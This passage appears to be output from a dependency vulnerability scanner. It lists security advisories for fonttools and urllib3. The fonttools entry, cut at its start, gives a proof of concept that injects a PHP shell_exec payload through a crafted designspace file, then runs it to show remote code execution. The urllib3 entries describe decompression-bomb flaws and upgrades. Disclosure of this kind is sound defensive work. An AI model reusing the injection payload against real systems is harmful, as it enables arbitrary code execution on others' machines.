/tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> 6. When the program is run, we can show we control the contents in the new file bash fonttools varLib malicious2.designspace -o file123 Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection bash cat file123 to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]> 8. Executing the file and reading looking at the newly generated file bash php file123 ls -la /tmp/MEOW123 we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
urllib3	2.5.0	GHSA-gm62-xv2j-4w53	2.6.0	## Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. ## Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. ## Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
urllib3	2.5.0	GHSA-2xpw-w6gg-jr37	2.6.0	### Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. ### Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. ### Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. ### Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.